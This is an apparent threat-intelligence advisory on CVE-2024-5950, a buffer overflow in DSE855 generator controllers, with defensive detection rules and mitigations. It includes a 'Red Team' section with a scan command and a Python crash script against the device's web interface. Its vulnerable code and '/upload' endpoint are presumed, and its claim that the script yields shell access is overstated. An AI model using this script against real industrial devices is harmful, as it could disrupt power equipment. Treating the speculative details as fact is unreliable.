CVE-2024-5950

Executive Summary

CVE-2024-5950 is a critical stack-based buffer overflow vulnerability in Deep Sea Electronics DSE855 devices, specifically within the handling of multipart form variables. This flaw allows network-adjacent attackers to execute arbitrary code without authentication, posing a severe risk to industrial control systems (ICS) and critical infrastructure. The vulnerability was discovered by ZDI (ZDI-CAN-23172) and has a CVSS score of 8.8, indicating high impact on confidentiality, integrity, and availability. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware in Deep Sea Electronics DSE855 devices, which are used in generator control and power management systems. Supply chain risks include compromised firmware updates or unauthorized access to device management interfaces.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Adjacent Network (AV:A) – attacker must be on the same network segment.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full device data compromise.
• Integrity Impact: High (I:H) – arbitrary code execution allows full control.
• Availability Impact: High (A:H) – device can be rendered inoperable.

Threat Level: Critical for ICS/SCADA environments. Exploitation could lead to remote code execution, enabling attackers to disrupt power generation, manipulate device settings, or pivot to other network assets.

Deep Dive & Mechanics

The vulnerability resides in the DSE855 web interface, which processes multipart form data (e.g., file uploads or form submissions). The device fails to validate the length of user-supplied data before copying it to a fixed-length stack-based buffer. This classic stack buffer overflow (CWE-121) allows an attacker to overwrite the return address and other stack variables, leading to arbitrary code execution.

Technical Details:

• Affected Component: Multipart form variable handler in the DSE855 web server.
• Root Cause: Lack of bounds checking on input data length.
• Exploitation Prerequisites: Network adjacency (same subnet or VLAN) and ability to send HTTP requests to the device.
• Impact: Full device compromise, including firmware modification, data exfiltration, and denial of service.

Attack Flow:

1. Attacker identifies a DSE855 device on the network (e.g., via Shodan or network scanning).
2. Attacker sends a crafted HTTP POST request with an oversized multipart form variable.
3. The device copies the data into a stack buffer without length validation, causing a buffer overflow.
4. Attacker overwrites the return address with a pointer to shellcode.
5. Shellcode executes with device privileges, granting remote control.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the firmware's HTTP server implementation. A patched version would include input validation and bounds checking.

Vulnerable Code (Conceptual):

void handle_multipart(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds check
    // Process buffer...
}

Patched Code (Conceptual):

void handle_multipart(char *input, size_t input_len) {
    char buffer[256];
    if (input_len >= sizeof(buffer)) {
        // Log error and reject
        return;
    }
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• DSE855 device (physical or emulated via firmware)
• Attacker machine (Kali Linux)
• Network switch for adjacency

Exploitation Steps:

1. Reconnaissance: Scan for DSE855 devices using Nmap:

   nmap -p 80 --open 192.168.1.0/24
   

2. Craft Payload: Use a Python script to generate a malicious multipart request:

   import socket
   
   payload = b"A" * 300  # Overflow buffer
   http_request = (
       b"POST /upload HTTP/1.1\r\n"
       b"Host: 192.168.1.100\r\n"
       b"Content-Type: multipart/form-data; boundary=boundary\r\n"
       b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n"
       b"--boundary\r\n"
       b"Content-Disposition: form-data; name=\"file\"\r\n\r\n"
       + payload +
       b"\r\n--boundary--\r\n"
   )
   
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("192.168.1.100", 80))
   s.send(http_request)
   s.close()
   

3. Execute: Run the script to trigger the overflow and gain shell access.

Note: No public exploit code is available; this is a conceptual example.

Blue Team (Defensive)

Detection & Response:

• Monitor for oversized HTTP POST requests to DSE855 devices.
• Use network segmentation to limit adjacency.
• Deploy IDS/IPS rules to detect buffer overflow attempts.
• Regularly check for firmware updates from Deep Sea Electronics.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests with Content-Length exceeding 256 bytes to DSE855 web interface.
  • Unusual multipart form data containing long strings of repeating characters (e.g., "AAAA...").
  • Outbound connections from DSE855 to unknown IPs (post-exploitation C2).
• Host IOCs:
  • Device logs showing crashes or unexpected reboots.
  • Modified firmware or configuration files.
  • Presence of shellcode in memory dumps.

Detection Engineering

YARA Rule

rule CVE_2024_5950_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-5950 in network traffic"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $multipart = "multipart/form-data" nocase
        $overflow = /[A-Za-z0-9]{300,}/  // Long string indicative of overflow
    condition:
        $multipart and #overflow > 0
}

Sigma Rule

title: CVE-2024-5950 Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized HTTP POST requests to DSE855 devices
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        sc-bytes: '>256'
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely for DSE855)
level: high

Suricata Rule

alert http any any -> $HOME_NET 80 (msg:"CVE-2024-5950 DSE855 Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_header; pcre:"/Content-Length:\s*[3-9][0-9]{2,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate DSE855 devices on a separate VLAN with strict access controls.
2. Disable Web Interface: If not required, disable the web interface via device settings.
3. Monitor Traffic: Deploy IDS/IPS rules (see above) to detect exploitation attempts.
4. Firmware Updates: Contact Deep Sea Electronics for a patch; if unavailable, consider replacing the device.

Long-Term Measures:

• Implement input validation and bounds checking in firmware.
• Use secure coding practices (e.g., safe string functions like strncpy).
• Conduct regular security assessments of ICS devices.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence. For further analysis, contact info@valtersit.com.